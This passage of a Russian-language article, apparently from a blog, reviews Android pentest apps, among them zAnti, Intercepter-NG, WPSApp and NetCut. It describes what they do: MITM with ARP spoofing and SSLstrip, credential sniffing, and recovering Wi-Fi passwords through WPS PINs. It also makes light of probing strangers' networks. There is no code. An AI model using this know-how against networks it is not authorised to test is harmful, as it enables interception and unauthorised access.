  <p>Форк cSploit от Симоне Маргарителли (Simone Margaritelli), приказавший долго жить в 2014 году. Проект так и остался в стадии бета-версии с очень сырым кодом. Если cSpoit у меня работал без нареканий, то последние три версии dSploit вываливались с ошибкой почти сразу после запуска.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/dSploit.png" width="775" />
  </figure>
  <p>С тех пор как Маргарителли устроился в компанию Zimperium, наработки dSploit вошли в состав фирменной утилиты zAnti.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/dSploit-2.png" width="775" />
  </figure>
  <ul>
    <li><a href="https://github.com/Androguide/dsploit" target="_blank">Сайт</a></li>
    <li>Протестированная (не вполне удачно) версия: 1.1.3с</li>
    <li>Размер: 11,4 Мбайт</li>
    <li>Версия Android: 2.3 и выше</li>
    <li>Требуется root: ДА!</li>
    <li>Дополнительные требования: установить <a href="https://play.google.com/store/apps/details?id=stericson.busybox" target="_blank"><strong>BusyBox</strong></a> в /system/bin, проявить склонность к мазохизму</li>
  </ul>
  <h3>zAnti</h3>
  <p>Мобильное приложение для пентеста от Zimperium. Более современный, стабильный и наглядный аналог dSploit.</p>
  <p>Интерфейс zAnti разделен на две части: сканирование и MITM. В первой секции он, подобно dSploit и оригинальному cSploit, мапит сеть, определяет все хосты, их параметры и уязвимости.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/zanti.png" width="775" />
  </figure>
  <p>Отдельная функция — определение уязвимостей на самом смартфоне. Согласно отчету программы, наш тестовый Nexus 5 содержит 263 дыры, которые уже не будут закрыты, поскольку срок жизни девайса истек.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/zanti-2.png" width="775" />
  </figure>
  <p>zAnti помогает взламывать роутеры и получать к ним полный доступ (с возможностью сменить пароль админа, задать другой SSID, PSK и так далее). Используя MITM-атаки, zAnti выявляет небезопасные элементы на трех уровнях: в ОС, приложениях и настройках устройства.</p>
  <p>Ключевая особенность — формирование подробного отчета по всем просканированным элементам. Отчет содержит пояснения и советы по устранению найденных недостатков.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/zanti-4.png" width="775" />
  </figure>
  <ul>
    <li><a href="https://www.zimperium.com/zanti-mobile-penetration-testing" target="_blank">Сайт</a></li>
    <li>Протестированная версия: 3.18</li>
    <li>Размер: 24 Мбайт</li>
    <li>Версия Android: 2.3 и выше</li>
    <li>Требуется рут: ДА!</li>
    <li>Примечания: zAnti не работает на устройствах с процессорами архитектуры x86 и x86_64</li>
  </ul>
  <h3>Снифферы для перехвата трафика на Android</h3>
  <p>Ни одному пентестеру не обойтись без хорошего <strong>сниффера</strong>. Это такой же обыденный инструмент, как нож на столе повара. Поэтому следующий раздел статьи посвящен приложениям для перехвата и анализа трафика.</p>
  <h3>Intercepter-NG</h3>
  <p><strong>Intercepter-NG</strong> — это продвинутый сниффер, ориентированный на выполнение MITM-атак. Захватывает трафик и анализирует его на лету, автоматически определяя в нем данные авторизации. Умеет сохранять перехваченный трафик в формате .pcap и анализировать его позже.</p>
  <p>Среди автоматически определяемых форматов данных есть пароли и хеши для следующих протоколов: AIM, BNC, CVS, DC++, FTP, HTTP, ICQ, IMAP, IRC, KRB5, LDAP, MRA, MYSQL, NTLM, ORACLE, POP3, RADIUS, SMTP, SOCKS, Telnet, VNC.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/Intercepter-NG-Scanning-and-ARP-spoofing.png" width="775" />
  </figure>
  <p>Intercepter-NG собирает из перехваченных пакетов файлы, передаваемые по FTP, IMAP, POP3, SMB, SMTP и HTTP.Как cSploit и аналоги, Intercepter-NG использует ARP-спуфинг для выполнения MITM. Он поддерживает SSLstrip, что позволяет выполнять MITM-атаки даже с HTTPS-трафиком, подменяя на лету HTTPS-запросы атакуемых хостов их HTTP-вариантами через встроенный DNS-прокси.</p>
  <p>Вдобавок он умеет определять ARP-спуфинг в отношении себя (полезно при подключении к публичным хотспотам) и защищать от него. При нажатии иконки в виде зонтика проверяется ARP-кеш.</p>
  <ul>
    <li><a href="https://github.com/intercepter-ng/mirror" target="_blank">Сайт</a></li>
    <li>Протестированная версия: 2.1 (консольная — 0.8)</li>
    <li>Размер: 5,2 Мбайт</li>
    <li>Версия Android: 2.3 и выше</li>
    <li>Требуется рут: ДА!</li>
    <li>Дополнительные требования: установить <a href="https://github.com/intercepter-ng/mirror" target="_blank">BusyBox</a> в /system/bin</li>
  </ul>
  <h3>Packet Capture</h3>
  <p>Более простой и «легальный» анализатор TCP/UDP-пакетов с возможностью перехвата HTTPS-сессий посредством MITM. Не требует <strong>прав root</strong>, поскольку использует встроенную в Android функцию проксирования трафика через <strong>VPN </strong>и подмену SSL-сертификата.</p>
  <p>В Android 6.0.1 и более свежих версиях требуется вручную добавить CA-сертификат через настройки приложения.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/Packet-Capture.png" width="775" />
  </figure>
  <p>Packet Capture работает локально. Он не выполняет ARP-спуфинг, угон сессий и прочие атаки на внешние хосты. Приложение позиционируется как <a href="http://www.spy-soft.net/chto-takoe-proksi-zachem-nuzhny-proksi-i-kakie-byvayut-vidy/" target="_blank">прокси</a> для отладки и скачивается из официального маркета. Умеет декодировать пакеты как Text/Hex/Urlencoded, но пока не поддерживает сжатые (gzip) HTTP-запросы.</p>
  <p>С помощью Packet Capture удобно контролировать сетевую активность установленных приложений. Он показывает не просто объем передаваемого трафика, а что конкретно и куда отправляет каждая программа или встроенный компонент Android, какие пакеты и с каких серверов получает в ответ. Отличная утилита для поиска троянских закладок и назойливой рекламы.</p>
  <ul>
    <li><a href="https://play.google.com/store/apps/details?id=app.greyshirts.sslcapture&hl=en" target="_blank">Сайт</a></li>
    <li>Протестированная версия: 1.4.7</li>
    <li>Размер: 4,5 Мбайт</li>
    <li>Версия Android: 2.3 и выше</li>
    <li>Требуется root: нет</li>
  </ul>
  <h3>Вспомогательные хакерские утилиты для Android</h3>
  <p>Если продвинутые утилиты для пентеста требуют root и BusyBox, то приложения попроще доступны в Play Store и работают на любом смартфоне без ухищрений. ARP-спуфинг и MITM-атаки ими не выполнить, но для сканирования беспроводной сети, обнаружения хостов и явных проблем с безопасностью их вполне хватает.</p>
  <h3>WPSApp</h3>
  <p>Эта программа сканирует эфир в поисках точек доступа с включенной функцией WPS. Обнаружив такие, она пытается опробовать на них дефолтные пины. Их немного, и они известны из мануалов производителей роутеров.</p>
  <p>Если пользователь не сменил дефолтный пин и не отключил WPS, то утилита самое большое за пять минут перебирает все известные значения и получает WPA(2)-PSK, каким бы длинным и сложным он ни был. Пароль от беспроводной сети отображается на экране и автоматически сохраняется в настройках Wi-Fi смартфона.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/WPSApp.png" width="775" />
  </figure>
  <p>Отмечу, что некоторые роутеры не позволяют менять пин, заданный по умолчанию. Более того, иногда он остается включенным, даже если в веб-интерфейсе роутера показывается статус WPS: OFF. Узнать реальное состояние WPS поможет утилита Wifi Analyzer.</p>
  <p>С момента выхода той статьи WPSApp обновилась и стала лучше во всех отношениях. Она знает больше пинов разных вендоров, быстрее перебирает их и научилась брутфорсить в новых режимах. Утилита работает как на рутованных смартфонах, так и без прав root. У нее много аналогов, но все они куда менее эффективные.</p>
  <ul>
    <li><a href="https://play.google.com/store/apps/details?id=com.themausoft.wpsapp" target="_blank">Сайт</a></li>
    <li>Протестированная версия: 1.6.20</li>
    <li>Размер: 3,0 Мбайт</li>
    <li>Версия Android: 4.1. Гораздо лучше работает на Android 5.1 и новее</li>
    <li>Требуется root: желательно, но не обязательно</li>
  </ul>
  <h3>WiFiAnalyzer</h3>
  <p>Опенсорсный и бесплатный сканер Wi-Fi-сетей. Очень удобная утилита для обнаружения точек доступа (включая скрытые), выяснения их параметров (MAC, вендор, канал, тип шифрования), оценки мощности сигнала и расстояния до них. Удаленность от роутера вычисляется по формуле для прямой видимости, поэтому не всегда указывается достаточно точно.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/WiFiAnalyzer.png" width="775" />
  </figure>
  <p>WiFiAnalyzer позволяет наглядно увидеть ситуацию в эфире, отфильтровать цели по уровню сигнала, SSID, используемой частоте (2,4/5 ГГц) и типу шифрования. Также вручную можно определить наименее зашумленный канал по графикам двух типов: обычному и с временным накоплением.</p>
  <p>Словом, WiFiAnalyzer — это то, с чего стоит начинать разведку в беспроводных сетях. Поиск целей с определенными параметрами сэкономит кучу времени при дальнейшей работе с продвинутыми утилитами.</p>
  <ul>
    <li><a href="https://play.google.com/store/apps/details?id=com.vrem.wifianalyzer&rdid=com.vrem.wifianalyzer" target="_blank">Сайт</a></li>
    <li>Протестированная версия: 1.8.11</li>
    <li>Размер: 1,6 Мбайт</li>
    <li>Версия Android: 4.1 и выше</li>
    <li>Требуется root: нет</li>
  </ul>
  <h3>Fing</h3>
  <p>Часто функциональность хакерских утилит пересекается с возможностями вполне легальных инструментов, которыми пользуются системные администраторы для наладки сетей.</p>
  <p>Fing — один из таких инструментов. Он быстро сканирует Wi-Fi-сеть, к которой вам удалось подключиться (например, с помощью WPSApp), и определяет все хосты. Это может быть востребовано для проверки собственной беспроводной сети на предмет НСД, но, согласитесь, исследовать незнакомые сети гораздо интереснее.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/Fing-.png" width="775" />
  </figure>
  <p>Fing выполняет расширенный анализ имен NetBIOS, UPNP и Bonjour, поэтому точнее определяет типы устройств и показывает больше их свойств. В Fing интегрированы утилиты ping и tracerout. Также он умеет отправлять запросы WOL (Wake on LAN), удаленно пробуждая «спящие» устройства, поддерживающие эту функцию.</p>
  <p>Fing автоматически определяет открытые порты и сопоставленные им сервисы. При обнаружении SMB, SSH, FTP и прочего Fing предлагает подключиться к ним, вызывая для этого внешние программы из своего меню. Если соответствующая утилита (например, AndSMB) не установлена, то Fing открывает ссылку на ее загрузку.</p>
  <p>Дополнительные возможности программы открываются после регистрации аккаунта Fing. С ним можно выполнять инвентаризацию устройств и сетей. Еще больше функций открывается после приобретения аппаратного Fingbox. Он умеет отслеживать подключение непрошеных гостей и выборочно блокировать их устройства, а также проверять интернет-подключение на типичные неполадки и автоматически устранять их.</p>
  <ul>
    <li><a href="https://play.google.com/store/apps/details?id=com.overlook.android.fing" target="_blank">Сайт</a></li>
    <li>Протестированная версия: 6.7.1</li>
    <li>Размер: 10 Мбайт</li>
    <li>Версия Android: 4.1 и выше</li>
    <li>Требуется root: нет</li>
  </ul>
  <h3>NetCut</h3>
  <p>Приложение определяет все клиентские устройства в беспроводной сети, а затем использует ARP-спуфинг для их выборочного отключения или обрубает связь для всех, кроме себя. А дальше вы можете скачивать файлы на полной скорости где-нибудь в кафешке, глядя, как мучаются другие посетители.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/NetCut.png" width="775" />
  </figure>
  <p>Шутка! Так делать некультурно, а вот быстро кикнуть злоумышленника, не влезая в настройки роутера, — почему бы и да? Можно не просто разово оборвать связь для любого хоста, а постоянно блокировать его попытки подключиться к точке доступа, пока он не сменит MAC-адрес (см. вкладку Jail).</p>
  <p>Если кто-то попытается сделать такой финт в отношении твоего девайса, NetCut определит отравление ARP-кеша и очистит его (см. NetCut Defender). За доллар в месяц можно получить аккаунт Pro, убрать рекламу и ограничения.</p>
  <ul>
    <li><a href="https://play.google.com/store/apps/details?id=com.arcai.netcut" target="_blank">Сайт</a></li>
    <li>Протестированная версия: 1.4.9</li>
    <li>Размер: 12 Мбайт</li>
    <li>Версия Android: 4.0 и выше</li>
    <li>Требуется root: ДА!</li>
  </ul>
  <h3>Справочники и поисковики для пентестера</h3>
  <p>Напоследок расскажем о паре полезных утилит, которые не имеют прямого отношения к взлому, а выполняют скорее вспомогательную и информационную функцию.</p>
  <h3>Droidbug Exploiting FREE</h3>
  <p>Приложение от <strong>Bugtraq Team</strong>. Предназначено для поиска и скачивания эксплоитов разного типа. Все они сгруппированы по типу ОС в двух основных разделах: с локальным и удаленным исполнением. В отдельную группу выделены аппаратные и веб-эксплоиты, а также используемые в DoS-атаках.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/Droidbug-Exploiting-FREE.png" width="775" />
  </figure>
  <p>Найти и скачать нужный эксплоит можно из бесплатной версии программы, а для быстрого просмотра описания потребуется уже платная версия стоимостью 279 рублей.</p>
  <ul>
    <li><a href="https://play.google.com/store/apps/details?id=com.bugsecapps.freedroidbugexploiting" target="_blank">Сайт</a></li>
    <li>Протестированная версия: 2.0.3</li>
    <li>Размер: 5,6 Мбайт</li>
    <li>Версия Android: 4.0.3 и выше</li>
    <li>Требуется root: нет</li>
  </ul>
  <h3>Pentest Cheatsheet</h3>
  <p>Карманный справочник пентестера. Содержит рекомендации по выполнению тестов от OWASP (The Open Web Application Security Project) — экспертов открытого проекта обеспечения безопасности веб-приложений.</p>
  <figure class="m_column">
    <img src="http://www.spy-soft.net/wp-content/uploads/Pentest-Cheatsheet.jpg" width="775" />
  </figure>
  <p>Дополнительно включает в себя подборку ссылок на проверенные хакерские утилиты, сгруппированных исходя из поставленной задачи: онлайновые сканеры, анализаторы уязвимостей, тулзы для реверса, фаззеры, краулеры и так далее. Вся информация хорошо систематизирована и выглядит актуальной на момент написания статьи.</p>
  <ul>
    <li><a href="https://play.google.com/store/apps/details?id=in.codebucket.pentestcheatsheet" target="_blank">Сайт</a></li>
    <li>Протестированная версия: 1.02</li>
    <li>Размер: 2,2 Мбайт</li>
    <li>Версия Android: 4.1 и выше</li>
    <li>Требуется рут: нет</li>
  </ul>
  <h3>Вместо выводов</h3>
  <p>Из гор хлама, мусора и откровенного фейка, который в мире Android выдают за «хакерский софт», мы постарались откопать самые интересные, продвинутые и полезные инструменты. Но если вы считаете, что чего-то не хватает, — добро пожаловать в комментарии! Только, пожалуйста, без Kali NetHunter.</p>

]]></content:encoded></item></channel></rss>